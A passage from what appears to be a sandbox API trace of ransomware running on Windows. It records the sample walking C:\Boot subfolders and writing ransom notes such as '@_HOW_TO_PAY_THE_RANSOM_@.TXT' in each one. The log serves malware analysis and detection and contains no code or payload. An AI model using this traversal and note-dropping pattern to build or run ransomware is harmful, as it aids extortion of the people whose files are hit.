lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64a9040, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x3, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x3, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.674] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x3, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0068.674] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.675] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.675] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.675] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.675] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.675] AreFileApisANSI () returned 1 [0068.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.675] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\es-ES\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.675] CreateFileW (lpFileName="C:\\\\Boot\\es-ES\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\es-es\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.676] GetFileType (hFile=0x1f4) returned 0x1 [0068.676] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.676] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.676] GetLastError () returned 0x0 [0068.677] AreFileApisANSI () returned 1 [0068.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.677] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x55ae28 [0068.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\es-ES\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.677] CreateFileW (lpFileName="C:\\\\Boot\\es-ES\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\es-es\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.679] GetFileType (hFile=0x1f4) returned 0x1 [0068.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.679] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.679] GetLastError () returned 0x0 [0068.680] AreFileApisANSI () returned 1 [0068.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.680] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\es-ES\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 44 [0068.680] CreateFileW (lpFileName="C:\\\\Boot\\es-ES\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\es-es\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.681] GetFileType (hFile=0x1f4) returned 0x1 [0068.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.681] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.681] GetLastError () returned 0x0 [0068.682] FindFirstFileA (in: lpFileName="C:\\\\Boot\\es-ES\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.682] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.682] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64a9040, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.682] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64a9040, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.682] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64a9040, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64a9040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64a9040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x55d638 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556cb0 | out: hHeap=0x510000) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543818 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543818 | out: hHeap=0x510000) returned 1 [0068.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.683] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x556cb0 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0068.683] AreFileApisANSI () returned 1 [0068.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.683] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x58) returned 0x541630 [0068.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x541630, cchWideChar=44 | out: lpWideCharStr="C:\\\\Boot\\fi-FI\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 44 [0068.684] CreateFileW (lpFileName="C:\\\\Boot\\fi-FI\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\fi-fi\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.684] GetFileType (hFile=0x1f4) returned 0x1 [0068.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.684] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55c618 [0068.684] GetLastError () returned 0x0 [0068.685] AreFileApisANSI () returned 1 [0068.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.685] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a) returned 0x55ae28 [0068.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x55ae28, cchWideChar=45 | out: lpWideCharStr="C:\\\\Boot\\fi-FI\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 45 [0068.685] CreateFileW (lpFileName="C:\\\\Boot\\fi-FI\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\fi-fi\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.687] GetFileType (hFile=0x1f4) returned 0x1 [0068.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.688] AreFileApisANSI () returned 1 [0068.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.688] CreateFileW (lpFileName="C:\\\\Boot\\fi-FI\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\fi-fi\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.688] GetFileType (hFile=0x1f4) returned 0x1 [0068.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.689] FindFirstFileA (in: lpFileName="C:\\\\Boot\\fi-FI\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.689] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.689] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.690] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.690] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.690] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.690] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.690] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.690] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0068.690] AreFileApisANSI () returned 1 [0068.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.690] CreateFileW (lpFileName="C:\\\\Boot\\Fonts\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\fonts\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.692] GetFileType (hFile=0x1f4) returned 0x1 [0068.692] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.693] AreFileApisANSI () returned 1 [0068.693] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.693] CreateFileW (lpFileName="C:\\\\Boot\\Fonts\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\fonts\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.693] GetFileType (hFile=0x1f4) returned 0x1 [0068.694] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.694] AreFileApisANSI () returned 1 [0068.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.695] CreateFileW (lpFileName="C:\\\\Boot\\Fonts\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\fonts\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.695] GetFileType (hFile=0x1f4) returned 0x1 [0068.695] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.696] FindFirstFileA (in: lpFileName="C:\\\\Boot\\Fonts\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.696] FindNextFileA 